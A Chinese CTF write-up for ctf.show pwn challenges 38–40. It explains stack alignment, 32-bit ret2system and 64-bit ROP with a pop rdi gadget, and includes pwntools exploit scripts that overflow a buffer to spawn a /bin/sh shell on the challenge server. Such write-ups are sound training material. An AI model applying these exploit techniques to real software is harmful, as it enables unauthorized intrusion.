本来是不想写的,但是想想还是写一下吧,基础知识这些就先不写了,以后有时间再补上吧,比较懒
前面的有时间再写吧 主要是做过了。。懒
pwn38
这个题也不难我直说其中那个点儿,为什么有的人正常调用system可以的人不行要跳过push rbp,否则就是拿不到shell
这个也是问了下大哥,因为在18.04级以上会有一个堆栈平衡校验
其实我们已经进了system但是有个movaps一直过不去
16.04亲测是不需要正常调用就行。所以如果碰到的话记得跳过push那行,下面的pwn40也会有个类似的问题
pwn39
题目介绍是
没有开启栈保护
但是其实调试之后发现
并不是system(“/bin/sh”),也就是说函数和参数被分割了,我们需要去构造,也就是 gadgets,这里引用一下ctfwiki的解释
我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
其实我自己对这个的理解就是搭积木呗,我们去抽出几个我们需要的积木来去达到我们的目的就可以了。
我们先来找几个关键的参数,然后我写一下poc,之后可能有些同学会不理解为什么payload要这么写,先别急,后面有张图,一下子就会振聋发聩。
我们来想一下我们的payload需要哪些关键参数:偏移、危险函数,参数
危险函数就是system
参数就是"/bin/sh"
偏移就没什么多说的
得到偏移0x12+0x4--->>0x16
得到了system的地址0x080483A0
得到了参数"/bin/sh"
的地址0x08048750
现在来写一下poc
# -*- coding: utf-8 -*-
from pwn import *
p = remote("pwn.challenge.ctf.show", "28273")
system_addr=0x080483A0
binsh_addr=0x08048750
payload = 'a' * 0x16 + p32(system_addr)+ 'bbbb' + p32(binsh_addr)
p.sendline(payload)
p.interactive()
为什么payload要写成
偏移+危险函数地址+0x4*'b'+参数地址
看一下下面我画的这个图就懂了,但是这个用于32的哈,可不敢64的也这样
成功拿到flag
pwn40
和39一样但是只不过从32位变成了64位,这个时候就需要学一个知识点就是,32位传参和64位传参
所以我们这次需要用到一个参数值"/bin/sh"
,那么意味着我们需要用到一个寄存器rdi
我们先捋一下需要什么
偏移
危险函数地址
参数地址
rdi地址
这个时候我用需要用到一个工具ROPgadget
比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具
我们来找一下pop rdi
ROPgadget --binary ./test --only "pop|ret" | grep "rdi"
语法也不用特别记,-h就有例子主打的就是一个无脑
我们找到了rdi的地址0x00000000004007e3
偏移则是0xA+0x8
,因为是64位所以不是+0x4
我们也可以用ROPgadget来寻找"/bin/sh"
ROPgadget --binary ./test --string "/bin/sh"
随便用一个0x0000000000400808
最后就是危险函数地址
0x0000000000400520
如果你用的是18.04及以上则还需要一个ret的地址
0x00000000004004fe
,为什么还需要这个 我们后面会说
我们现在来写一下POC
#ubuntu18.04级以上
from pwn import *
p = remote("pwn.challenge.ctf.show", "28117")
#p = process("./test")
rdi_ret_addr = 0x00000000004007e3
bin_sh_addr = 0x400808
system_addr = 0x400520
ret_addr = 0x00000000004004fe
payload = 'a' * (0xA+0x8) + p64(rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
#ubuntu16.04
from pwn import *
p = remote("pwn.challenge.ctf.show", "28117")
#p = process("./test")
rdi_ret_addr = 0x00000000004007e3
bin_sh_addr = 0x400808
system_addr = 0x400520
payload = 'a' * (0xA+0x8) + p64(rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
我们现在来说一下为什么18.04级以上要在加一个ret的地址,可以看我们一步步去调试然后能看到pop rdi的时候,进的就是栈顶的值"/bin/sh"
也显示跳转到了system对吧,但是碰到了movaps
需要16字节对齐,所以我们需要再去加一个ret的地址来对齐。